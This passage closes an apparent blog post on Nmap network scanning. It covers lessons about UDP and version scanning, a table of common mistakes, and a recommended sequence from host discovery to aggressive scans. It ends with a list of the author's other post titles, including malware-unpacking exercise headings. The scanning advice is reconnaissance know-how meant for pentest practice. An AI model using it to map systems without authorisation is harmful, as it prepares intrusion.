UDP is hard but necessary — Skipping UDP scanning leaves DNS, NFS, and NetBIOS invisible. Those three services alone represent significant attack surface. The -sV flag is what separates open|filtered noise from confirmed open ports.

The -A scan reveals what port numbers hide — Without -A, port 1524 shows as ingreslock. With -A, it shows as "Metasploitable root shell." Scripts and banner grabbing turn a list of numbers into intelligence.

Common Mistakes

Mistake	What Happens
Running without `sudo`	No ARP on local networks, weaker host detection
Skipping `-sV` on UDP	Most UDP ports show as `open\
Default timing on remote UDP	Scan can take hours
Running {% raw %}`-A` against full subnets	Takes forever, generates huge noise
Trusting port numbers alone	Port 1524 shows as `ingreslock` without version scanning

Conclusion

Nmap is not one tool — it is a collection of scanning techniques, each suited to a different phase. A basic port scan leaves UDP services, OS details, version information, and service-level vulnerabilities completely invisible.

The sequence that makes sense: host discovery first, then TCP port scan, then UDP on interesting targets, then version and OS detection on confirmed hosts, and finally a full aggressive scan against specific high-value targets once you know they exist.

Know what you are scanning. Know what you found. Then decide what comes next.

DEV Community: Khalif AL Mahmud

AI in Cybersecurity: Why Artificial Intelligence Is Both Our Strongest Defense and a Growing Threat

How AI Is Actually Used in Cybersecurity

The Tools Changing Pentesting Right Now

The Real Advantages

The Limitations Nobody Should Ignore

What an AI-Assisted Pentest Workflow Actually Looks Like

Where This Is All Heading

Cyber Law and Ethics in the Age of AI

What Cyber Law Actually Covers

What Cyber Ethics Actually Means

Cybercrime Has Changed Shape

What "Legal Use" of AI in Security Actually Requires

Using AI Tools Ethically

Rules of Engagement (ROE) and Scope

Why Responsible Practice Matters More Than Ever

The Takeaway

How Can We Secure Data at Every Stage of the Data Lifecycle?

Data at Rest (DAR)

Data in Motion (DIM)

Data in Use (DIU)

Conclusion

Is Linux Secure? Is Windows Secure? Which Operating System is More Secure?

Is Linux Secure?

Is Windows Secure?

Which Operating System Is More Secure?

Conclusion

Malware Unpacking & Anti-Analysis Bypass: A Deep Dive into Real-World Techniques

Problem Statement

Exercise 1: Bypassing Debugger Detection in getdown.exe

What I Found

The Detection Mechanism

The Bypass

Exercise 2: Deobfuscating Encoded Strings

Tool 1: XORSearch

Tool 2: brxor.py & bbcrack.py

Tool 3: Manual Stack String Decoding in IDA

Tool 4: Automated Stack String Extraction

Exercise 3: Unpacking drtg.exe Using RtlDecompressBuffer

Static Recon with FLOSS

Dynamic Unpacking in x32dbg

Verification

Bonus: Finding the Anti-Debug Check

Exercise 4: Behavioral Analysis of WinHost32.exe

Setup

Infection

Network Findings (Wireshark)

Process Monitor → ProcDOT

Exercise 5: Unpacking WinHost32.exe (Process Hollowing)

Static Analysis in IDA

Dynamic Extraction in x32dbg

Verification

Exercise 6: Anti-Sandbox via Mouse Hooks (vbprop.exe)

The Hook Setup (IDA)

Exercise 7: Sandbox Evasion via Connectivity Check (winhost32-dumped.exe)

The Logic Flow

The Bypass

Exercise 8: Toolkit Detection in raas.exe

The Detection Function (402BD6)

Bypass Strategy

Exercise 9 & 10: SEH Abuse and Unpacking windowsxp2.exe

SEH as a Red Herring

Stack Breakpoint Method for Unpacking

Verification

Dumping and Fixing IAT

Confirmation

Exercise 11: TLS Callbacks and Advanced Anti-Debug (lansrv.exe)

TLS Callback Discovery

Debugging the Callback

The SEH Swap

The Division by Zero Trap

Exercise 12: Unpacking yep.exe with pe_unmapper

IAT Analysis

Breakpoint Strategy

Finding VirtualProtect

Second VirtualProtect Call

Caching the Execution

Extraction and Fixing

Exercise 13 & 14: Code Injection Forensics (known.exe)

Memory Forensics with Volatility

Exercise 1: Bypassing Debugger Detection in `getdown.exe`

Exercise 3: Unpacking `drtg.exe` Using `RtlDecompressBuffer`

Exercise 4: Behavioral Analysis of `WinHost32.exe`

Exercise 5: Unpacking `WinHost32.exe` (Process Hollowing)

Exercise 6: Anti-Sandbox via Mouse Hooks (`vbprop.exe`)

Exercise 7: Sandbox Evasion via Connectivity Check (`winhost32-dumped.exe`)

Exercise 8: Toolkit Detection in `raas.exe`

The Detection Function (`402BD6`)

Exercise 9 & 10: SEH Abuse and Unpacking `windowsxp2.exe`

Exercise 11: TLS Callbacks and Advanced Anti-Debug (`lansrv.exe`)

Exercise 12: Unpacking `yep.exe` with pe_unmapper

Exercise 13 & 14: Code Injection Forensics (`known.exe`)